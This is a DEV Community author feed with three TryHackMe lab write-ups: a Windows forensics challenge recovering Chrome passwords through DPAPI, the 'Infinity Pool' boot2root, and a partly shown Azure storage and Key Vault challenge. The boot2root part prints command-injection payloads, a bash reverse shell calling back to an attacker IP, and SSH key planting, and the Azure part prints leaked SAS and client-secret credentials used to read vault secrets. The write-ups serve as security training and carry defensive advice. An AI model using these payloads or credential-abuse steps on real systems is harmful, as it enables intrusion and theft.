DEV Community: Md. Ibrahim Reza Rabbi

Management Wants a Word: TryHackMe Forensics Writeup

Md. Ibrahim Reza Rabbi — Sun, 09 Aug 2026 17:27:30 +0000

Challenge Goal

We are given a Windows KAPE triage collection from a laptop used by a guest named Vera. The goal is to follow the forensic artifacts, recover a hidden password, use it to open what Vera was hiding, and recover the flag.

Flag format starts with:

THM{

Initial Enumeration

After extracting the task files, the main directory contained a KAPE collection:

Get-ChildItem -Force

Important paths:

KAPE\C\Users\vera\
KAPE\C\Users\vera\Documents\backup
KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\
KAPE\C\Windows\System32\config\SAM
KAPE\C\Windows\System32\config\SYSTEM
KAPE\C\Windows\System32\config\SECURITY

The file Documents\backup had no extension and looked like random data when viewed in hex. This is a strong hint for an encrypted container.

Clue From The Story

The social media clue says:

a browser will remember things for you
not every hidden file needs a password cracker
version number 1.26.29

That points to two things:

Browser saved credentials
VeraCrypt 1.26.29

So the plan became:

Check Chrome artifacts.
Recover the saved browser password.
Use that password on the suspicious backup file.
Extract the hidden content and find the flag.

Chrome History

The Chrome history database was here:

KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\Default\History

Using SQLite:

sqlite3 "KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\Default\History" ".tables"

Then query visited URLs:

select datetime(last_visit_time/1000000-11644473600,'unixepoch') as last_visit,
       url,
       title
from urls
order by last_visit_time;

Interesting result:

http://bytelotus.thm:8080/login
http://bytelotus.thm:8080/
SecureVault Portal

So Vera used a portal called SecureVault.

Chrome Saved Login

The saved login database was here:

KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\Default\Login Data

Query:

select origin_url, action_url, username_value, hex(password_value)
from logins;

Result:

origin_url: http://bytelotus.thm:8080/
username: VeraSecretVault
password_value: encrypted Chrome v10 blob

Chrome passwords are encrypted with Windows DPAPI, so we need Vera’s DPAPI material.

Recover Windows/DPAPI Secret

The KAPE collection included Windows registry hives:

SAM
SYSTEM
SECURITY

Using pypykatz, the offline registry secrets revealed:

LSA Default Password
Username: UNKNOWN
Password: minivera

This password was important because it allowed decrypting Vera’s DPAPI masterkey.

Vera’s DPAPI masterkey folder:

KAPE\C\Users\vera\AppData\Roaming\Microsoft\Protect\S-1-5-21-2529683458-431225740-1723070931-1000

The Chrome Local State file contained the encrypted Chrome key:

KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\Local State

After decrypting the DPAPI masterkey with minivera, the Chrome saved password decrypted to:

Wh4t1sV3raD0inG0nTh1sH0st

Opening The Hidden Container

The suspicious file was:

KAPE\C\Users\vera\Documents\backup

It had no signature and looked fully random. Combined with the 1.26.29 clue, this indicated a VeraCrypt container.

Use the recovered password:

Wh4t1sV3raD0inG0nTh1sH0st

Open or mount the file with VeraCrypt.

Once opened, the container contained:

secret_financial_documents\
important_invoice_byte_lotus.pdf
transactions_q3.csv

Finding The Flag

The CSV was not the flag. The PDF looked like an invoice, but it was image-based, so normal text extraction may return nothing.

Render or open the PDF visually. The invoice contains a line item with the flag:

Flag: THM{1t_w4s_****_A11_*******}

Final Answer

THM{1t_w4s_****_A11_*******}

Key Takeaways

Chrome saved credentials can be recovered from triage data if the DPAPI masterkey can be decrypted.

The SECURITY, SAM, and SYSTEM hives are extremely valuable in Windows forensics.

A file with no extension and random-looking bytes may be an encrypted container.

The clue 1.26.29 was the giveaway for VeraCrypt.

Official VeraCrypt format reference: https://veracrypt.io/en/VeraCrypt%20Volume%20Format%20Specification.html

TryHackMe Infinity Pool -Complete Boot2Root Walkthrough

Md. Ibrahim Reza Rabbi — Sat, 08 Aug 2026 16:23:52 +0000

Category: CTF / Boot2Root / Web Exploitation / Linux Privilege Escalation

Platform: TryHackMe

Difficulty: Beginner–Intermediate

Key Techniques: Reconnaissance, Source Code Analysis, OS Command Injection, Reverse Shells, Internal Service Enumeration, Credential Leakage, SSH Port Forwarding, Bearer Token Discovery, Privilege Escalation

Introduction

Infinity Pool is a Linux Boot2Root challenge that demonstrates an important lesson in offensive security:

A system does not always fall because of one critical vulnerability. Sometimes several smaller security mistakes combine into a complete compromise.

The attack chain in this room includes:

Reconnaissance
      ↓
Hidden Endpoint Discovery
      ↓
Command Injection
      ↓
Reverse Shell as web
      ↓
Internal Service Enumeration
      ↓
Credential Disclosure
      ↓
SSH Port Forwarding
      ↓
Authentication Token Discovery
      ↓
Second Command Injection
      ↓
Root

What makes this challenge particularly useful is that every stage introduces a real-world security concept.

By the end of the walkthrough, we will have covered:

Nmap reconnaissance
robots.txt enumeration
JavaScript source-code analysis
OS command injection
Reverse shells
Linux internal enumeration
Localhost-only services
Gunicorn processes
Credential leakage
SSH local port forwarding
FreePBX UCP
Bearer token authentication
Command injection in a privileged service
Linux privilege escalation
Defensive mitigation techniques

1. Reconnaissance

Every penetration test should begin by understanding the target's externally exposed attack surface.

For this walkthrough, I will use:

TARGET_IP=<TARGET_IP>
ATTACKER_IP=<YOUR_VPN_IP>

Replace these placeholders with the addresses assigned to your TryHackMe environment.

1.1 Nmap Scan

Start with a service and operating-system enumeration scan:

nmap -A -Pn $TARGET_IP -oN nmap.txt

Why these options?

Option	Purpose
`-A`	Enables service detection, OS detection, default scripts, and traceroute
`-Pn`	Treats the target as online without relying on ICMP discovery
`-oN`	Saves results in normal text format

The scan reveals two externally accessible services:

22/tcp  - SSH
80/tcp  - HTTP

The HTTP service is running behind Gunicorn, strongly suggesting a Python-based web application.

Because the web application exposes considerably more attack surface than SSH, that becomes our initial focus.

2. Web Enumeration

Visit:

http://TARGET_IP/

The application initially appears to be a normal hotel-themed landing page.

Nothing immediately indicates a vulnerability.

This is where basic web enumeration becomes important.

2.1 Always Check `robots.txt`

One of the first files worth checking on a web application is:

/robots.txt

For example:

curl http://$TARGET_IP/robots.txt

The response contains:

User-agent: *
Allow: /
Disallow: /internal/
Disallow: /status

Two interesting paths immediately appear:

/internal/
/status

Important Concept: `robots.txt` Is Not Security

A common mistake is treating paths listed inside robots.txt as hidden.

They are not.

robots.txt simply tells compliant search-engine crawlers which resources they should avoid indexing.

Anyone can request the file.

In security testing, entries such as:

Disallow: /admin
Disallow: /backup
Disallow: /internal

can actually become useful enumeration clues.

3. JavaScript Source-Code Analysis

Another important enumeration technique is examining client-side JavaScript.

Open the application's page source and identify referenced JavaScript files.

One interesting file is:

/static/app.js

It can also be downloaded directly:

curl http://$TARGET_IP/static/app.js

Inside the JavaScript is a developer comment similar to:

// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.

This is valuable information.

We now know that:

/status

contains a staff connectivity utility that submits data to:

/internal/netcheck

This illustrates an important reconnaissance principle:

Client-side source code should always be considered publicly accessible.

Developer comments, API routes, debugging code, credentials, feature flags, and internal endpoint names frequently leak through JavaScript.

4. Investigating `/status`

Navigate to:

http://TARGET_IP/status

The page contains a simple connectivity checker.

Its HTML form is effectively:

<form method="post" action="/internal/netcheck">
    <input
        type="text"
        name="host"
        placeholder="property host e.g. 10.0.0.5"
    >
    <button type="submit">Check</button>
</form>

The interesting parameter is:

host

The application apparently accepts a hostname or IP address and performs some type of network connectivity test.

That immediately raises an important question:

Is the application passing this input into an operating-system command such as ping?

If so, insufficient sanitization could create an OS Command Injection vulnerability.

5. OS Command Injection

5.1 What Is Command Injection?

Imagine the backend executes:

ping -c 1 <USER_INPUT>

If we enter:

127.0.0.1

the server executes:

ping -c 1 127.0.0.1

That is expected behavior.

But suppose we submit:

127.0.0.1; id

The resulting shell command becomes:

ping -c 1 127.0.0.1; id

The semicolon terminates the first command and begins another.

The server therefore executes:

id

as well.

This is command injection.

5.2 Testing the `host` Parameter

We can test the endpoint directly using curl:

curl -X POST \
  http://$TARGET_IP/internal/netcheck \
  -d "host=;id"

The application returns output containing something similar to:

uid=1001(web) gid=1001(web) groups=1001(web)

Success.

The host parameter is vulnerable to OS command injection.

More importantly, we learn that commands execute as:

web

6. Obtaining a Reverse Shell

Running commands through HTTP works, but it quickly becomes inconvenient.

A reverse shell gives us an interactive terminal.

The architecture is:

Attacker
192.168.x.x:4444
        ↑
        │ TCP Connection
        │
Target Server

Instead of our machine connecting to a shell service on the target, the target connects back to us.

6.1 Find Your VPN Address

On the attacker machine:

ip addr

or:

ip a

Identify the IP address belonging to your TryHackMe VPN interface.

Set it:

ATTACKER_IP=<YOUR_VPN_IP>

6.2 Start a Netcat Listener

Open a terminal and run:

nc -lvnp 4444

Parameters

Option	Meaning
`-l`	Listen mode
`-v`	Verbose output
`-n`	Disable DNS resolution
`-p`	Specify port

Our attacker machine is now waiting for an incoming connection on:

4444/tcp

6.3 Trigger the Reverse Shell

Send a Bash reverse-shell payload through the vulnerable host parameter:

curl -X POST \
  http://$TARGET_IP/internal/netcheck \
  --data-urlencode \
  "host=;bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"

If everything works correctly, our Netcat terminal receives a connection.

We now have shell access as:

web

Why `--data-urlencode` Matters

The reverse-shell payload contains characters such as:

&
>
<
;

These characters can have special meaning inside HTTP form data or the local shell.

Using:

--data-urlencode

allows curl to encode the payload correctly before transmitting it.

7. Upgrade the Shell

The initial reverse shell usually lacks features such as:

Proper terminal handling
Command history
Tab completion
Interactive programs
Correct Ctrl+C behavior

A quick improvement is:

python3 -c 'import pty; pty.spawn("/bin/bash")'

This creates a pseudo-terminal.

You now have a significantly more usable shell.

8. User Flag

After gaining access, check the current user:

whoami

Then inspect the user's home directory:

ls -la /home/web

The user flag is located at:

/home/web/user.txt

Read it:

cat /home/web/user.txt

Result:

THM{REDACTED}

We have completed the initial foothold.

Now the real privilege-escalation investigation begins.

9. Internal Enumeration

Once inside a host, external Nmap results are no longer enough.

Services may be configured to listen exclusively on:

127.0.0.1

These services cannot normally be reached remotely but may become accessible after compromising the machine.

9.1 Inspect Listening Ports

Run:

ss -tulnp

Several localhost-only services appear:

127.0.0.1:3000
127.0.0.1:9000
127.0.0.1:8080
127.0.0.1:5038
127.0.0.1:3306

These ports were invisible during our external Nmap scan because they were bound only to the loopback interface.

Understanding `127.0.0.1`

127.0.0.1 represents the local machine.

For example:

0.0.0.0:8080

usually means the service accepts connections through every available interface.

However:

127.0.0.1:8080

means the service can normally only be reached from the same machine.

After obtaining a shell, this boundary becomes much less useful as a security control.

10. Process Enumeration

We need to determine what applications own these ports.

Start by inspecting Python and Gunicorn processes:

ps aux | grep -E "gunicorn|python"

Three particularly interesting services appear:

Service	Port	User
Public Edge application	`80`	`web`
Watchtower operations console	`3000`	`svc-watch`
Automation job runner	`9000`	`root`

The final entry deserves immediate attention.

Automation Service → root

If we can influence that application into executing commands, those commands could potentially execute with root privileges.

11. Confirming the Privileged Service

Inspect the corresponding systemd unit:

cat /etc/systemd/system/cc-automation.service

The service configuration contains:

User=root
Group=root

This confirms that the automation application executes as the root user.

We have now identified a potentially valuable privilege-escalation target:

127.0.0.1:9000

But first, we need to understand how it is authenticated.

12. Enumerating the Watchtower Service

Another internal service is listening on:

127.0.0.1:3000

From our compromised shell, request its configuration endpoint:

curl http://127.0.0.1:3000/api/config

The API responds with JSON containing several interesting values:

{
  "automation_endpoint": "http://127.0.0.1:9000",
  "ops_note": "UCP still on default template creds (...) -- ROTATE.",
  "telephony_pass": "<REDACTED>",
  "telephony_portal": "http://127.0.0.1:8080/ucp",
  "telephony_user": "<REDACTED>"
}

This is a serious information-disclosure issue.

We have learned:

Automation service → http://127.0.0.1:9000
Telephony portal   → http://127.0.0.1:8080/ucp
Username           → leaked
Password           → leaked

The configuration also explicitly warns that the credentials should have been rotated.

That never happened.

13. Security Lesson: Internal Does Not Mean Safe

Developers sometimes assume:

“This endpoint is only accessible from localhost, so exposing secrets there is acceptable.”

That assumption is dangerous.

Once an attacker gains even low-privilege access to the host, localhost-only endpoints become accessible.

This challenge demonstrates why internal APIs still require:

Authentication
Authorization
Secret management
Least privilege
Proper network segmentation

14. Accessing the Internal UCP Application

The leaked credentials point toward:

http://127.0.0.1:8080/ucp

The interface is a browser-based application.

While interacting with it entirely through curl might be possible, modern web applications commonly involve:

Sessions
CSRF tokens
JavaScript
Multiple requests
Client-side navigation

Using the browser is easier.

But the service only listens on the target's localhost interface.

We therefore need SSH port forwarding.

15. SSH Local Port Forwarding

SSH tunneling lets us expose the target's localhost service on our own machine.

Conceptually:

Browser
127.0.0.1:8080
      │
      ▼
SSH Tunnel
      │
      ▼
Target
127.0.0.1:8080

15.1 Configure SSH Access

Since we already have shell access as web, we can place our own public SSH key into that account.

First create an SSH key on Kali if you do not already have one:

ssh-keygen -t ed25519

Then display the public key:

cat ~/.ssh/id_ed25519.pub

On the target:

mkdir -p ~/.ssh

Append your public key:

echo "<YOUR_PUBLIC_KEY>" >> ~/.ssh/authorized_keys

Correct the permissions:

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

15.2 Create the Tunnel

From Kali:

ssh -i ~/.ssh/id_ed25519 \
  -L 8080:127.0.0.1:8080 \
  web@$TARGET_IP \
  -N

Understanding the Command

The important part is:

-L 8080:127.0.0.1:8080

This means:

My Kali port 8080
        ↓
SSH tunnel
        ↓
Target's 127.0.0.1:8080

-N tells SSH that we only want port forwarding and do not need an interactive SSH shell.

16. Accessing FreePBX UCP

With the SSH tunnel running, open:

http://127.0.0.1:8080/ucp/

in your local browser.

Authenticate using the credentials discovered from the Watchtower configuration endpoint.

Username: <RECOVERED_USERNAME>
Password: <RECOVERED_PASSWORD>

Authentication succeeds.

17. Discovering the Automation Token

Inside the UCP dashboard, inspect the available widgets.

Add the:

Voicemail

widget.

Select the appropriate mailbox.

A voicemail exists from extension:

The caller-ID metadata contains something similar to:

Automation Key <REDACTED_TOKEN>

This appears highly significant because the privileged automation application is also listening on:

The value is the Bearer authentication token required by the automation API.

We have now obtained:

Automation API endpoint
        +
Bearer authentication token
        =
Authenticated access to root-owned service

18. What Is a Bearer Token?

A Bearer token is an authentication credential commonly sent through the HTTP Authorization header.

Example:

Authorization: Bearer TOKEN_VALUE

Anyone possessing the token may be treated as an authenticated client.

This is why authentication tokens must be protected similarly to passwords.

In this challenge, placing the token inside user-visible voicemail metadata effectively exposes the authentication secret.

19. Enumerating the Automation Service

The automation application exposes:

/jobs/export

The endpoint accepts a parameter named:

report

Internally, the service constructs a command resembling:

tar czf /var/automation/exports/<report>.tgz /var/automation/data

This design should immediately look familiar.

A user-controlled parameter is being inserted into a shell command.

That creates another potential command injection vulnerability.

There is one major difference from our first injection:

First vulnerable service  → web
Second vulnerable service → root

If the second endpoint is exploitable, we can escalate directly to root.

20. Testing the Second Command Injection

Send an authenticated request to the automation service:

curl -s -X POST \
  http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer <AUTOMATION_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; id #"}'

The injected portion is:

; id #

Let's break it down.

`;`

Terminates the original command.

`id`

Executes:

id

`#`

Comments out the remaining shell command.

The server's resulting command becomes conceptually similar to:

tar czf /var/automation/exports/x.tgz /var/automation/data; id # ...

The output contains:

uid=0(root) gid=0(root) groups=0(root)

We have achieved command execution as:

root

Privilege escalation is complete.

21. Reading the Root Flag

Because commands now execute as root, we can read:

/root/root.txt

through the vulnerable endpoint:

curl -s -X POST \
  http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer <AUTOMATION_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'

The response contains:

THM{REDACTED}

Root obtained.

22. Complete Attack Chain

The entire compromise can now be summarized as:

                ┌─────────────────────┐
                │     Nmap Recon      │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │     robots.txt      │
                │ /internal + /status │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ JavaScript Analysis │
                │ /internal/netcheck  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Command Injection #1│
                │       host=;id      │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Reverse Shell: web  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Internal Enumeration│
                │ 3000 / 8080 / 9000  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Watchtower API Leak │
                │   UCP Credentials   │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │  SSH Port Forward   │
                │ 8080 → FreePBX UCP  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Voicemail Metadata  │
                │ Automation Token    │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Command Injection #2│
                │ Root Automation API │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │        ROOT         │
                └─────────────────────┘

23. Vulnerability Chain

From a vulnerability-management perspective, the challenge contains several independent security problems.

Stage	Weakness	Impact
Recon	Sensitive endpoints exposed through `robots.txt`	Information disclosure
Source analysis	Internal routes exposed in JavaScript comments	Information disclosure
Netcheck	Unsanitized shell input	Remote command execution
Watchtower	Credentials returned through API	Credential disclosure
UCP	Default/template credentials remained active	Unauthorized access
Voicemail	Authentication secret stored in visible metadata	Token disclosure
Automation	Unsanitized shell command construction	Command execution
Service permissions	Automation runs as root	Full system compromise

The important observation is that several vulnerabilities had to be chained together.

24. Why the Attack Worked

The challenge demonstrates a recurring real-world pattern:

Minor Information Leak
        +
Weak Input Validation
        +
Credential Mismanagement
        +
Excessive Privileges
        =
Critical Compromise

No single defensive control was strong enough to stop the attack after the initial foothold.

This is why security should rely on defense in depth rather than one protection mechanism.

25. Defensive Analysis

Let's examine how each vulnerability could have been prevented.

25.1 Never Pass Untrusted Input Directly to a Shell

Unsafe Python code might resemble:

subprocess.run(
    f"ping -c 1 {host}",
    shell=True
)

If host contains:

127.0.0.1; id

the shell interprets the injected command.

A safer approach is:

subprocess.run([
    "ping",
    "-c",
    "1",
    host
])

Here the arguments are passed directly to the executable rather than being interpreted by a shell.

Even then, input validation should still be implemented.

25.2 Validate Hostnames and IP Addresses

If an application expects an IP address, verify that the supplied value is actually an IP address.

For Python:

import ipaddress

ip = ipaddress.ip_address(user_input)

The application should reject unexpected characters rather than attempting to sanitize arbitrary shell syntax.

25.3 Do Not Treat `robots.txt` as Access Control

This:

Disallow: /internal/

does not prevent a user from requesting:

/internal/

Sensitive endpoints should instead be protected by:

Authentication
Authorization
Network controls
Application-level access policies

25.4 Remove Sensitive Developer Comments

Comments such as:

// internal endpoint is /internal/netcheck

may appear harmless.

But client-side JavaScript is public.

Production builds should avoid exposing unnecessary:

Internal architecture
Debugging details
Development URLs
Secrets
Credentials
Administrative paths

25.5 Never Expose Credentials Through Configuration APIs

An endpoint such as:

/api/config

should not return:

{
  "username": "...",
  "password": "..."
}

even when bound to localhost.

Instead use a dedicated secrets-management solution such as:

Environment variables
Secret stores
Vault systems
Cloud secret managers
Restricted configuration files

25.6 Rotate Default Credentials

The challenge explicitly demonstrates the danger of forgotten template credentials.

Default credentials should be rotated:

Immediately after deployment

not:

Eventually

A warning comment saying:

ROTATE

provides no security if nobody actually performs the rotation.

25.7 Protect Authentication Tokens Like Passwords

Bearer tokens should never appear in:

Caller ID
Voicemail metadata
Debugging messages
Application logs
URLs
Client-side JavaScript
Error responses

Possession of a Bearer token may be enough to impersonate an authenticated user or service.

26. Principle of Least Privilege

One of the largest design mistakes is the automation service running as:

root

Ask:

Does creating an archive genuinely require unrestricted root privileges?

Probably not.

The service should run under a dedicated account such as:

automation

with access limited to only:

/var/automation/data
/var/automation/exports

Even if command injection were then discovered, the attacker would compromise only the restricted automation account rather than immediately becoming root.

This is the Principle of Least Privilege.

27. Important Commands Used

For quick reference:

Nmap

nmap -A -Pn TARGET_IP -oN nmap.txt

Check `robots.txt`

curl http://TARGET_IP/robots.txt

Test Initial Command Injection

curl -X POST \
  http://TARGET_IP/internal/netcheck \
  -d "host=;id"

Netcat Listener

nc -lvnp 4444

Reverse Shell

curl -X POST \
  http://TARGET_IP/internal/netcheck \
  --data-urlencode \
  "host=;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Upgrade Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Enumerate Listening Services

ss -tulnp

Enumerate Gunicorn/Python Processes

ps aux | grep -E "gunicorn|python"

Query Watchtower

curl http://127.0.0.1:3000/api/config

SSH Port Forward

ssh -i ~/.ssh/id_ed25519 \
  -L 8080:127.0.0.1:8080 \
  web@TARGET_IP \
  -N

Test Privileged Command Injection

curl -s -X POST \
  http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; id #"}'

28. Key Lessons

This room teaches several important lessons that apply far beyond CTFs.

1. Enumeration Is Often More Important Than Exploitation

The path started with simple observations:

robots.txt
      ↓
JavaScript
      ↓
Hidden endpoint

There was no need to immediately launch large automated scanners.

2. Source Code Is Part of the Attack Surface

Anything delivered to the browser should be treated as public information.

That includes:

HTML
CSS
JavaScript
Source maps
Comments
API URLs
Configuration objects

3. Internal Services Still Need Security

Binding a service to:

127.0.0.1

reduces exposure but does not replace authentication or authorization.

Once an attacker gains local access, localhost services become reachable.

4. Credential Leaks Create Attack Chains

The Watchtower API did not directly provide root access.

Instead it exposed another credential.

That credential unlocked another application.

That application exposed another secret.

That secret unlocked the root-owned automation service.

Real compromises frequently look exactly like this:

Information
     ↓
Credential
     ↓
Access
     ↓
More Information
     ↓
Higher Privilege

5. Command Injection Becomes Far Worse With Privilege

The first command injection executed as:

web

The second executed as:

root

The vulnerability class was almost identical.

The impact was completely different because of the service's privileges.

29. MITRE ATT&CK Perspective

The attack chain can also be loosely mapped to common adversary techniques:

Activity	Technique
Web reconnaissance	Network / service discovery
Endpoint discovery	Application reconnaissance
Command injection	Command and scripting interpreter
Reverse shell	Command and control
Process enumeration	Process discovery
Listening-port enumeration	Network service discovery
Credential disclosure	Unsecured credentials
SSH tunneling	Proxy / tunneling
Token abuse	Valid authentication material
Root execution	Privilege escalation

Thinking in terms of attack techniques rather than individual commands helps build transferable cybersecurity knowledge.

30. Final Attack Path

The shortest representation of the solution is:

Nmap
  ↓
robots.txt
  ↓
/status
  ↓
JavaScript reveals /internal/netcheck
  ↓
Command injection
  ↓
Shell as web
  ↓
Internal service enumeration
  ↓
Watchtower /api/config
  ↓
UCP credentials
  ↓
SSH tunnel → localhost:8080
  ↓
FreePBX UCP
  ↓
Voicemail leaks automation token
  ↓
Authenticated request to localhost:9000
  ↓
Second command injection
  ↓
ROOT

Conclusion

Infinity Pool is an excellent example of why penetration testing is fundamentally about connecting pieces of information.

The initial command injection did not immediately give us root.

Instead, we had to investigate the environment:

Find hidden functionality
      ↓
Exploit weak input handling
      ↓
Enumerate internal services
      ↓
Discover leaked credentials
      ↓
Pivot into another application
      ↓
Recover an authentication token
      ↓
Exploit a privileged backend

Each mistake on its own might have appeared relatively small.

Together, they created a complete compromise.

The biggest lesson from the challenge is simple:

Security failures compound.

A forgotten developer comment, an internal credential leak, a poorly protected token, an unsafe shell command, and an unnecessarily privileged service can transform a small foothold into total system compromise.

From a defensive perspective, the solution is equally clear:

Validate all untrusted input.
Avoid shell command construction.
Protect internal services.
Remove hardcoded and leaked secrets.
Rotate default credentials.
Treat authentication tokens as sensitive secrets.
Apply least privilege everywhere.
Assume an attacker will eventually reach internal components.

Understanding how these weaknesses connect is what turns individual vulnerability knowledge into real penetration-testing methodology.

Challenge Status

[✓] Reconnaissance
[✓] Hidden endpoint discovery
[✓] Command injection
[✓] Initial foothold
[✓] User flag
[✓] Internal enumeration
[✓] Credential discovery
[✓] Internal application pivoting
[✓] Authentication token discovery
[✓] Privilege escalation
[✓] Root flag

TryHackMe Hacker Holidays: CryptoCabana – Complete Writeup

Md. Ibrahim Reza Rabbi — Tue, 04 Aug 2026 18:47:30 +0000

Welcome to this walkthrough of the CryptoCabana challenge from the TryHackMe Hacker Holidays.

This challenge is a beautiful tour of Azure misconfigurations, secret management, and the power of versioning.

By the end of this write-up, you’ll understand exactly how a harmless-looking “backup your seed phrase” page can leak an entire infrastructure.

🧭 Challenge Scenario

You are given a static website hosted on Azure Storage (a.k.a. “static website” feature).

The page looks like a beach cabana kiosk where you can paste a seed phrase and “back it up” to a private vault.

The promise: “Backed up. Sleep easy.” – but as we’ll see, nothing here is as safe as it seems.

Your mission:

Find out what the kiosk is quietly trusting to reach into storage on its own.
See how far that trust actually extends.
Retrieve a hidden flag that is split across multiple secrets.

🔍 Reconnaissance – The Website

We start with the target URL:

https://cryptocabanaf5scjagc.z13.web.core.windows.net/

Visiting it in a browser shows a clean HTML page with a text area and a “Back it up” button.

Tip: Always view the page source and any linked JavaScript.

Inspecting `index.html` and `app.js`

The page loads a script called app.js. We can fetch it with curl:

curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js

Output:

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";

What we immediately learn:

The storage account name: cryptocabanaf5scjagc
The container used for backups: backups
A Shared Access Signature (SAS) token with permissions: sp=rl → read and list permissions on blobs. The token is valid for a very long time (until 2099).

Important insight: The SAS token is embedded right in the client‑side code. Anyone who visits the page gets it. This is a critical misconfiguration – it allows anyone with that token to list and read all blobs in the backups container (and possibly others if the token is scoped to the account level). Here, srt=sco means the token applies to the storage account, container, and objects – so it works on any container.

🗂️ Exploring Storage with the SAS Token

Now we have a powerful token. We can use it with the Azure CLI or directly with curl to interact with the storage account.

List All Containers

export BACKUP_SAS="?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"
az storage container list --account-name cryptocabanaf5scjagc --sas-token "$BACKUP_SAS" --output table

Result:

Name	Lease Status	Last Modified
$web		2026-07-16T18:26:22+00:00
backups		2026-07-16T18:26:22+00:00
vault		2026-07-16T18:26:23+00:00

We see three containers:

$web – stores the static website files (we already knew about index.html and app.js).
backups – the container used by the kiosk’s backup function.
vault – interesting! This is not referenced anywhere in the JavaScript. It’s a hidden container.

List Blobs in `vault`

az storage blob list --account-name cryptocabanaf5scjagc --container-name vault --sas-token "$BACKUP_SAS" --output table

Output:

Name	Blob Type	Length	Content Type
backup-service-account.json	BlockBlob	360	application/json
seed_phrase.txt	BlockBlob	88	application/octet-stream

We also check backups but it appears empty (probably no one used the backup function). The vault container contains two files that sound promising.

Download the Files

az storage blob download --account-name cryptocabanaf5scjagc --container-name vault --name backup-service-account.json --file backup-service-account.json --sas-token "$BACKUP_SAS"
az storage blob download --account-name cryptocabanaf5scjagc --container-name vault --name seed_phrase.txt --file seed_phrase.txt --sas-token "$BACKUP_SAS"

🔑 Extracting Service Principal Credentials

Open backup-service-account.json:

{
  "client_id":"dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret":"UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "key_vault_name":"ccabana-kv-f5scjagc",
  "key_vault_uri":"https://ccabana-kv-f5scjagc.vault.azure.net/",
  "note":"CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
  "tenant_id":"8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}

Jackpot! This file contains:

A service principal client_id and client_secret – credentials that can be used to authenticate as an Azure Active Directory application.
The name and URI of a Key Vault: ccabana-kv-f5scjagc.
The tenant ID (same as the challenge tenant).

Meanwhile, seed_phrase.txt just contains some garbage text (likely a decoy).

🔐 Authenticating as the Service Principal

The service principal likely has permissions to read secrets from the Key Vault. We log in with az login:

az login --service-principal -u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 -p 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c

The CLI confirms we are now authenticated as that service principal.

🗝️ Exploring the Key Vault

Now we can list secrets in the vault:

az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table

Secrets found:

Name	Enabled	Expires
key-shard-1	True
key-shard-2	True
key-shard-3	True
master-key	True	2020-01-01

We have three shards and a master key. The challenge hints: “a vault that won't give up the real values on the first ask” and “if a value looks freshly rotated, ask yourself what it looked like five minutes before that”.

🔄 Checking Secret Versions

Key Vault secrets can have multiple versions. The latest version may be a red herring. We need to look at older versions.

List versions of key-shard-2:

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 --output json

We see two versions:

Older version (created at 2026-07-28T01:05:05) – ID ends with 3d6492...
Newer version (created at 2026-07-28T01:05:07) – ID ends with c922c4...

The newer version is only two seconds newer – that is indeed “freshly rotated”. Let’s retrieve both.

Newer version (the decoy):

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --version c922c422ffb34671a902389c372314f1

Value:

"Rotated this after IT flagged it -- old value should still be recoverable if you know where to look."

A clear hint to check the older version.

Older version (the real one):

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --version 3d6492d2c6f74123bc754a9ded22b2a0

Value:

_k3ys_***_

Now we have the middle piece of the flag.

🧩 Retrieving the Other Shards

